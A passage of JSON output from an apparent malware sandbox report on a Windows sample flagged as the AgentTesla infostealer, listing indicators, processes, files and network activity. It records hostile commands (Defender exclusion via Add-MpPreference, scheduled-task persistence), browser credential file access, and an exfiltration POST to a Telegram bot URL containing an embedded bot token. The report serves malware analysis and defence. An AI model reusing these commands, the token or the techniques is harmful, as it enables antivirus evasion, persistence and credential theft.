00000000-00000336]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 149.154.167.220 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$54","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\tmp7CEB.tmp\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_2hygxvv1.ipd.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h42dfx2k.4sa.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ehylktsr.xf0.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_jyzs2uho.j4j.psm1\" for deletion\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\shvkciql.ott\\Firefox\\Profiles\\ywzu7870.default\\cookies.sqlite\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\tmp7CEB.tmp\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ehylktsr.xf0.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_jyzs2uho.j4j.psm1\" with delete access\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" opened \"C:\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" with delete access\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\shvkciql.ott\\Firefox\\Profiles\\ywzu7870.default\\cookies.sqlite\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\" claims program is from Mon Nov 16 16:22:06 2048\n \"JSCrIQqACnlzp.exe\" claims program is from Mon Nov 16 16:22:06 2048","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"C:\\ee57b6fa1e5a3c5ef776b79f32820327bc\" - (UID: 00000000-00000336), \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"%APPDATA%\\JSCr\" - (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\schtasks.exe\" /Create /TN \"Updates\\JSCrIQqACnlzp\" /XML \"%TEMP%\\tmp7CEB.tmp\"\" - (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"CreateProcessA\" with parameter \"C:\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" - (UID: 00000000-00000336)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Modifies file/console tracing settings (often used to hide footprints on system)","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLEFILETRACING\"; Value: \"00000000\")\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLECONSOLETRACING\"; Value: \"00000000\")\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"FILETRACINGMASK\"; Value: \"0000FFFF\")\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"CONSOLETRACINGMASK\"; Value: \"0000FFFF\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":5,"id":"registry-30","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"14/21 Antivirus vendors marked dropped file \"JSCrIQqACnlzp.exe\" as malicious (classified as \"Malware\" with 66% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"14/21 Antivirus vendors marked spawned process \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (PID: 7972) as malicious (classified as \"Malware\" with 66% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Found an indicator for a scheduled task trigger","description":"file/memory contains long string with (Indicator: \"LogonTrigger\"; File: \"tmp7CEB.tmp\")","origin":"File/Memory","mitre_attack_id":"T1053","relevance":5,"id":"string-32","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 73260000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"/Create /TN \"Updates\\\\JSCrIQqACnlzp\" /XML \"%TEMP%\\\\tmp7CEB.tmp\"\" (UID: 00000000-00006468)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed from task XML file","description":"Process \"schtasks.exe\" with commandline \"/Create /TN \"Updates\\\\JSCrIQqACnlzp\" /XML \"%TEMP%\\\\tmp7CEB.tmp\"\" (UID: 00000000-00006468)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":5,"id":"target-414","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" set thread context in remote process \"C:\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (PID: 1f24)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$55","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"\"https://api.ipify.org%\" (Indicator: \"api.ipify.org\"; File: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")\n \"500 -Windows RDPcredentialpolicyblobrdgchrome{{{0}}}LengthCopyToComputeHashsha512CopyMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.03520https://api.telegram.org/bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/-675581850yyyy-MM-dd HH:mm:ssyyyy_MM_dd_HH_mm_ss

https://api.ipify.org%appdataImageImage.exe/http://eqadwZ.com\\VRzSoftware\\Microsoft\\Windows\\CurrentVersion\\RunSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunSCSC__.jpegScreenshotimage/jpeg/log.tmpKLKL_.htmlLogtext/html[],URL:Username:Password:Application:PWPW_\" (Indicator: \"api.ipify.org\"; File: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_AgentTeslaV3\" matched process \"00000000-00007972\" as \"AgentTeslaV3 infostealer payload\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - Agent Tesla","description":"YARA signature Malware.Agent Tesla matched on process \"00000000-00007972\"","origin":"YARA Signature","relevance":9,"id":"yara-4","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"$56","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$57","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (UID: 00000000-00000336)\n Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"C:\\\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\"\" (UID: 00000000-00003052)\n Spawned process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"%APPDATA%\\\\JSCrIQqACnlzp.exe\"\" (UID: 00000000-00006808)\n Spawned process \"schtasks.exe\" with commandline \"/Create /TN \"Updates\\\\JSCrIQqACnlzp\" /XML \"%TEMP%\\\\tmp7CEB.tmp\"\" (UID: 00000000-00006468)\n Spawned process \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" (UID: 00000000-00007972)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Stealer/Phishing","details_count":2,"details":[{"detail":"Reads FTP client related files"},{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Tries to steal Mail credentials from registry"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"Marks file for deletion"},{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Modifies file/console tracing settings (often used to hide footprints on system)"},{"detail":"Possibly tries to implement anti-virtualization techniques using MAC address detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":36,"imported_dlls_count":151,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":14,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["wacatac","agenttesla","windows-server-utility","evasive","infostealer"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"sandbox_reports":[{"id":"6849824a28176b2bd506558a","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["GBR"],"submit_name":"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397","analysis_start_time":"2025-06-11T13:19:07+00:00","indicators_count":{"informative":200,"suspicious":73,"malicious":19},"tags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.154.167.220","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]}],"dns_resolutions":[{"domain":"api.telegram.org","address":"149.154.167.220","ttl":68,"country":"United Kingdom","registrar_name":"GoDaddy.com, LLC","registrar_organization":"Domains By Proxy, LLC","registrar_name_servers":"NS-CLOUD-B4.GOOGLEDOMAINS.COM","registrar_creation_date":"2003-12-15T14:48:05+00:00","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]}],"http_requests":[{"host":"api.telegram.org","host_ip":"149.154.167.220:443","url":"/bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument","method":"POST","response_code":"400","response_phrase":"Bad Request","header":"POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1\nContent-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790b\nHost: api.telegram.org\nContent-Length: 807\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}],"processes":[{"pid":336,"ppid":0,"name":"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe","command_line":"","sha256":"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397","normalized_path":"C:\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe","uid":"00000000-00000336","icon":"$58"},{"pid":3052,"ppid":336,"name":"powershell.exe","command_line":"Add-MpPreference -ExclusionPath \"C:\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00000336","uid":"00000000-00003052"},{"pid":6808,"ppid":336,"name":"powershell.exe","command_line":"Add-MpPreference -ExclusionPath \"%APPDATA%\\JSCrIQqACnlzp.exe\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00000336","uid":"00000000-00006808"},{"pid":6468,"ppid":336,"name":"schtasks.exe","command_line":"/Create /TN \"Updates\\JSCrIQqACnlzp\" /XML \"%TEMP%\\tmp7CEB.tmp\"","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00000336","uid":"00000000-00006468"},{"pid":7972,"ppid":336,"name":"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe","command_line":"","sha256":"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397","normalized_path":"C:\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe","parent_uid":"00000000-00000336","uid":"00000000-00007972"}],"all_imported_dlls":["System.DirectoryServices.dll","msisip.dll","System.Configuration.Install.dll","Microsoft.BitLocker.Structures.dll","dnsapi.dll","System.Configuration.ni.dll","pwrshsip.dll","mscoree.dll","imm32.dll","rpcrt4.dll","bcrypt.dll","wow64win.dll","cryptbase.dll","propsys.dll","System.Drawing.dll","profapi.dll","gdi32full.dll","Accessibility.dll","GdiPlus.dll","Microsoft.PowerShell.Commands.Management.dll","wbemprox.dll","ncrypt.dll","user32.dll","clrjit.dll","IPHLPAPI.DLL","System.Core.ni.dll","aepic.dll","msIso.dll","uxtheme.dll","coml2.dll","DWrite.dll","Microsoft.AppV.AppVClientPowerShell.dll","msvcp_win.dll","amsi.dll","gpapi.dll","fastprox.dll","taskschd.dll","clr.dll","OneCoreUAPCommonProxyStub.dll","powrprof.dll","imagehlp.dll","wininet.dll","rasapi32.dll","rasadhlp.dll","schannel.dll","ntasn1.dll","System.Data.dll","xmllite.dll","vaultcli.dll","dhcpcsvc6.dll","apphelp.dll","win32u.dll","clbcatq.dll","normaliz.dll","sxs.dll","rasman.dll","mskeyprotect.dll","sspicli.dll","wmiutils.dll","OnDemandConnRouteHelper.dll","bcryptprimitives.dll","gdi32.dll","oleaut32.dll","dwmapi.dll","System.Numerics.dll","winnsi.dll","ole32.dll","wow64cpu.dll","ucrtbase_clr0400.dll","System.Xml.ni.dll","WindowsCodecs.dll","atl.dll","secur32.dll","Microsoft.AppV.AppvClientComConsumer.dll","shell32.dll","msctf.dll","MpClient.dll","Microsoft.VisualBasic.dll","wbemsvc.dll","dhcpcsvc.dll","combase.dll","slc.dll","Microsoft.Management.Infrastructure.Native.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","System.Security.dll","clrcompression.dll","kernel.appcore.dll","mscorlib.ni.dll","msasn1.dll","ntmarta.dll","iertutil.dll","vcruntime140_clr0400.dll","kernel32.dll","sechost.dll","ucrtbase.dll","msvcrt.dll","edputil.dll","Windows.StateRepositoryPS.dll","WMINet_Utils.dll","advapi32.dll","wintrust.dll","Microsoft.Management.Infrastructure.ni.dll","wbemdisp.dll","rtutils.dll","FWPUCLNT.DLL","rsaenh.dll","MpOAV.dll","sppc.dll","System.Management.Automation.dll","System.Management.dll","Microsoft.PowerShell.Security.dll","winhttp.dll","ws2_32.dll","System.Transactions.dll","mi.dll","shlwapi.dll","comctl32.dll","AppxSip.dll","CustomMarshalers.dll","psapi.dll","cldapi.dll","urlmon.dll","miutils.dll","mswsock.dll","cfgmgr32.dll","windows.storage.dll","WinTypes.dll","ncryptsslp.dll","KernelBase.dll","VxSSL32.dll","cryptsp.dll","Microsoft.PowerShell.ConsoleHost.dll","wshext.dll","cryptnet.dll","Microsoft.PowerShell.Commands.Utility.dll","wmidcom.dll","System.ni.dll","wow64.dll","fltLib.dll","version.dll","dpapi.dll","wbemcomn.dll","ntdll.dll","crypt32.dll","userenv.dll","OpcServices.dll","mscoreei.dll","SHCore.dll","nsi.dll","System.Windows.Forms.dll","wldp.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"JSCrIQqACnlzp.exe","sha256":"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"tmp7CEB.tmp","sha256":"4eb239a11de9f490a0cba32fa7e9b506d8fd42e4937ab61ead119f1e5510d1a2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"cookies.sqlite","sha256":"d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.log","sha256":"984487e2853b0ed7ddecf92c68da549d00ce8e7e934131d368c065a3f3cd1b44","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"powershell.exe.log","sha256":"c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"StartupProfileData-NonInteractive","sha256":"be2001f5862b30106741283676bb762eaa9af3381835bc4d69ddf68a53227c35","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"JSCrIQqACnlzp.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]}],"files_written":[{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%APPDATA%\\JSCrIQqACnlzp.exe","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%APPDATA%\\JSCrIQqACnlzp.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%TEMP%\\tmp7CEB.tmp","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.log","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_2hygxvv1.ipd.ps1","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_h42dfx2k.4sa.psm1","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ehylktsr.xf0.ps1","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_jyzs2uho.j4j.psm1","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"path":"%APPDATA%\\shvkciql.ott\\Firefox\\Profiles\\ywzu7870.default\\cookies.sqlite","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:336:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:336:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:336:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\QXOHTDhqeCqyP","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Local\\SM0:336:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Local\\SM0:336:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"SM0:336:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"QXOHTDhqeCqyP","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"